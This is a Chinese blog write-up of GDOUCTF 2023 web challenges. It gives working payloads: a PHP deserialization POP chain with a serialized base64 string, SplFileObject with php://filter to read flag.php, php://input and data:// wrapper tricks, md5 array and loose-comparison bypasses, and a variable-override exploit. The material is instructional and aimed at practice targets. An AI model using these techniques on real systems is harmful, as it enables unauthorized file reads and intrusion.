NSSCTF-GDOUCTF 2023新生赛

news2024/12/28 4:40:30

[GDOUCTF 2023]hate eat snake

考察:js代码审计

打开题目,发现需要坚持60秒,那么简单的一个思路就是修改得分的变量>60即可

办法1:修改变量

右键查看源代码,之后发现有一个snake.js的文件,ctrl+f搜索if,发现判断过关的条件是getScore>60

搜索发现getScore在Snake.prototype

在控制台执行
payload

Snake.prototype.getScore = () => 61

控制台开始调用函数
在游戏界面再按一下空格,得到flag

方法2: 先玩游,得到分数后在放着界面停留60秒,再按空格,获取flag

[GDOUCTF 2023]泄露的伪装

考察:目录扫描,php伪协议

由于环境打不开了,我就根据别人的wp提供下思路

思路:打开题目---->>>目录扫描(rar文件下载)--->>>代码审计--->>>php伪协议(input,data)

get参数为?cxk=php://input
post参数为ctrl

或者使用下面一种 

?cxk=data://text/plain,ctrl

[GDOUCTF 2023]反方向的钟 

考察:反序列化,原生类SplFileObject

打开题目,发现一大串代码,看到类了,猜测考察反序列化,需要构造poc链

<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}

if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}
?>

分析

能利用原生类SplFileObject读取文件

找到最核心的IPO(),关键点new $_POST[‘a’] ($_POST[‘b’])

可以POST请求利用原生类读取文件获得flag(base64编码)

步骤

要执行IPO(),看到__wakeup()下,要先执行hahaha()

再找到hahaha()所在的类为classroom,要使返回为真,三个变量赋值得为对应的值,leader指向name和rank的值,也就说明$leader=new teacher(),发现name和rank是在teacher类那里

构造poc链

<?php
class teacher{
    public $name='ing';
    public $rank='department';
    private $salary;
}

class classroom{
    public $name='one class';
    public $leader; 
}

class school{
    public $department;
    public $headmaster='ong';   
}


$a=new school();
$a->department=new classroom();
$a->department->leader=new teacher();
echo base64_encode(serialize($a));
Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7aToxMDAwMDt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9

之后利用原生类SplFileObject读取文件

a为类,b用php协议读取flag.php   /代码中说了flag在flag.php中

所以POST的payload为:

a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php

 进行访问

得到base64编码,我们再进行解码得到flag

<?php
$flag = "NSSCTF{c18adac3-acf0-4efa-ab63-10279c78c08d}";
?>

[GDOUCTF 2023]受不了一点

考察:md5绕过,强/弱类型比较,变量覆盖

打开题目,得到源码

 <?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
    $b=$_POST['ctf'];
    $a=$_POST['gdou'];
    if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){
        if(isset($_COOKIE['cookie'])){
           if ($_COOKIE['cookie']=='j0k3r'){
               if(isset($_GET['aaa']) && isset($_GET['bbb'])){
                  $aaa=$_GET['aaa'];
                  $bbb=$_GET['bbb'];
                 if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
                   $give = 'cancanwordflag';
                   $get ='hacker!';
                   if(isset($_GET['flag']) && isset($_POST['flag'])){
                         die($give);
                    }
                   if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
                       die($get);
                    }
                    foreach ($_POST as $key => $value) {
                        $$key = $value;
                   }
                    foreach ($_GET as $key => $value) {
                         $$key = $$value;
                    }
                   echo $flag;
            }else{
                  echo "洗洗睡吧";
                 }
    }else{
        echo "行不行啊细狗";
        }
  }
}
else {
  echo '菜菜';
}
}else{
  echo "就这?";
}
}else{
  echo "别来沾边";
}
?>
别来沾边

初步分析,我们需要进行四组绕过 

if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b))

这里我们需要进行md5绕过,并且为强类型比较绕过,我们可以考虑用数组绕过,也可以用md5碰撞进行绕过

md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。  例如 a[]=1&b[]=2

gdou[]=1&ctf[]=2
//绕过第一步

这里为简单的cookie赋值,我们用火狐浏览器的hackbar插件就能修改cookie的值 

if ($_COOKIE['cookie']=='j0k3r'

这里为弱比较类型的绕过,我们可以用小数点进行绕过 ,也可以后面加字符进行绕过

if($aaa==114514 && $bbb==114514 && $aaa!=$bbb

 构造payload

aaa=114514&bbb=114514.a

 接着下面这里考察的是变量覆盖

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
                       die($get);
                    }
                    foreach ($_POST as $key => $value) {
                        $$key = $value;
                   }
                    foreach ($_GET as $key => $value) {
                         $$key = $$value;
                    }
                   echo $flag;

 直接构造payload,变色的变量可以改变,但与后面的需要相同

123=flag&flag=123

最后抓包构造所有的payload

POST /?aaa=114514&bbb=114514a&123=flag&flag=123

post参数

gdou[]=1&ctf[]=2

 [GDOUCTF 2023]EZ WEB

考察:http协议

由于环境开启不了,看了下别人的wp,讲讲思路

思路:右键查看网页源代码--->>>访问有关于flag的路由--->>>BP抓包修改请求方式为POST

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1966104.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

健康小贴士丨中考考生怎么吃得好?

文章目录 引言三餐最佳的进食时间引言 中考正值初夏,气温急剧升高,食物易滋生细菌,发生食物中毒的风险也随之增加,医生建议 选择新鲜的食材,煮熟煮透,现吃现做,尽量不食用剩饭剩菜;不在路边露天摊点、不到无证和食品安全状况差的餐馆用餐;尽量减少在外就餐和点外卖的…

客服中心:高效知识库管理,6步提高70%用户体验

在当今快节奏的商业环境中&#xff0c;客服中心作为企业与客户沟通的重要桥梁&#xff0c;其运作的顺畅与否直接影响着客户的满意度和忠诚度。而知识库作为客服中心的核心资源之一&#xff0c;其管理水平的高低更是直接影响着客服的工作效率和问题解决能力。本文将深入探讨一系…

Django之JsonResponse对象

【图书介绍】《Django 5企业级Web应用开发实战&#xff08;视频教学版&#xff09;》_django 5企业级web应用开发实战(视频教学版)-CSDN博客 《Django 5企业级Web应用开发实战&#xff08;视频教学版&#xff09;》(王金柱)【摘要 书评 试读】- 京东图书 (jd.com) 在Django框…

“LangChain实战:探索回调函数的应用

前言 毫无疑问&#xff0c;2024将是人工智能丰收年&#xff0c;开始寒假的我&#xff0c;准备先把LangChain捋一遍。 这篇文章来学习下callback机制&#xff0c; 之前聊过AutoGen的callback机制&#xff0c;我们来对比下。 回调和异步 作为js开发者&#xff0c;对于回调函数…

springboot智能健康管理平台-计算机毕业设计源码57256

摘要 在当今社会&#xff0c;人们越来越重视健康饮食和健康管理。借助SpringBoot框架和MySQL数据库的支持&#xff0c;开发智能健康管理平台成为可能。该平台结合了小程序技术的便利性和SpringBoot框架的快速开发能力&#xff0c;为用户提供了便捷的健康管理解决方案。 通过智能…

无线磁吸充电宝哪个牌子值得入手?什么牌子磁吸充电宝性价比高?

在当下科技日新月异的时期&#xff0c;无线磁吸充电宝成为了众多电子设备用户的得力助手。然而&#xff0c;面对市场上众多品牌和型号的无线磁吸充电宝&#xff0c;消费者常常陷入选择的困境&#xff1a;到底哪个牌子值得入手&#xff1f;什么牌子的磁吸充电宝性价比高&#xf…

【JavaScript】详解默认导出和命名导出的区别

文章目录 一、默认导出二、命名导出三、默认导出和命名导出的区别四、实际应用案例五、总结 在JavaScript模块化开发中&#xff0c;导入和导出模块是核心操作。ES6引入的模块化语法提供了两种主要的导出方式&#xff1a;默认导出&#xff08;default export&#xff09;和命名导…

【2024蓝桥杯/C++/B组/宝石组合】

代码来源2024第十五届蓝桥杯 C/CB组真题题解_蓝桥杯2024b组c语言答案-CSDN博客 证明s的简化式子

【Linux】命令行通配符

Linux在文件管理方面提供了丰富的功能&#xff0c;例如通配符&#xff0c;它是一种用于匹配文件名的特殊字符。通配符在Linux中可以帮助我们更加方便和快捷地查找和操作文件。 1.命令行通配符 通配符是一种特殊语句&#xff0c;主要有星号(*)、问号(?)等表示&#xff0c;用来…

记一个搞笑的自写类加载TemplatesImpl

今天没事想自己写个CC3类加载 结果为了顺利触发到TemplatesImpl#getTransletInstance的newInstance给我整急眼了&#xff0c;使劲改字段强行通过循环 结果搞了个下面的代码出来 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apa…

手机买对不买贵!性价比之王再升级,致敬奋斗者

众所周知&#xff0c;比起旗舰机&#xff0c;中端机一年要发几次新款机型&#xff0c;因此&#xff0c;一两千元的价位段就尤其的卷。那此时作为消费者的我们就是赚了&#xff0c;花更少的钱就能买到更好的产品。华为畅享70S这款手机是今年最新的一款针对性价比用户推出的千元机…

大厂面试必备的软件测试八股文【附答案】

&#x1f345; 点击文末小卡片 &#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 前言 最近有很多粉丝问我&#xff0c;有什么方法能够快速提升自己&#xff0c;通过阿里、腾讯、字节跳动、京东等互联网大厂的面试&#xff0c;我觉得短时间提升…

7ECloud云服务器在视频流服务器中的应用

视频现在已然是人们之间互相传递的一种信息形式&#xff0c;而视频内容也是娱乐消费的主要形式之一&#xff0c;媒体平台想要提供高效&#xff0c;稳定的视频流服务也成为了行业关注的焦点之一。7ECloud云服务器展现出的计算能力&#xff0c;灵活的资源调度能力以及高度扩展性等…

【中项】系统集成项目管理工程师-第9章 项目管理概论-9.3项目经理的角色与9.4项目生命周期和项目阶段

前言&#xff1a;系统集成项目管理工程师专业&#xff0c;现分享一些教材知识点。觉得文章还不错的喜欢点赞收藏的同时帮忙点点关注。 软考同样是国家人社部和工信部组织的国家级考试&#xff0c;全称为“全国计算机与软件专业技术资格&#xff08;水平&#xff09;考试”&…

C++ 位图

1. 位图概念 1. 面试题 给40亿个不重复的无符号整数&#xff0c;没排过序。给一个无符号整数&#xff0c;如何快速判断一个数是否在 这40亿个数中。【腾讯】 1. 利用map&#xff0c;set等容器存储遍历 2. 排序(O(NlogN))&#xff0c;利用二分查找: 但是其有40亿个数据&am…

骨传导耳机哪个牌子值得入手?精选五款2024热销骨传导耳机推荐!

随着健康意识的不断提升&#xff0c;运动健身已成为大众生活的热门选择&#xff0c;而人们对运动时音乐享受的需求也随之达到了新的高度。然而&#xff0c;许多运动达人在享受音乐律动的同时&#xff0c;却常被传统耳机易脱落、维护不便等问题所困扰&#xff0c;这无疑给他们的…

智能计算模拟:DFT+MD+ML深度融合及科研实践应用

第一性原理、分子动力学与机器学习三者的交汇融合已在相关研究领域展现强劲的研究热潮。借助第一性原理计算揭示材料内在的量子特性&#xff0c;并结合分子动力学模拟探究材料在实际环境下的动态行为&#xff1b;运用机器学习算法与上述方法结合&#xff0c;开发高性能预测模型…

物理笔记-八年级上册

0.梦开始的地方 物理研究什么&#xff1f; 电学&#xff0c;力学&#xff0c;声学&#xff0c;光学&#xff0c;热学。 1.1.1长度的单位 国际基本单位制 单位转换 魔法记忆&#xff1a;千米-米-毫米-微米-纳米&#xff08;进率都是1000&#xff09; 单位换算计算方法 用科学…

科东软件获颁2024英特尔网络与边缘计算行业大会“技术创新奖”

AI浪潮席卷全球&#xff0c;它正推动着制造业向更加智能化、数字化的方向发展。作为这场技术革命的见证者和参与者&#xff0c;科东软件携手众多行业伙伴&#xff0c;与英特尔共同探讨边缘AI的未来发展趋势。 近日&#xff0c;第十七届英特尔网络与边缘计算行业大会在天津隆重…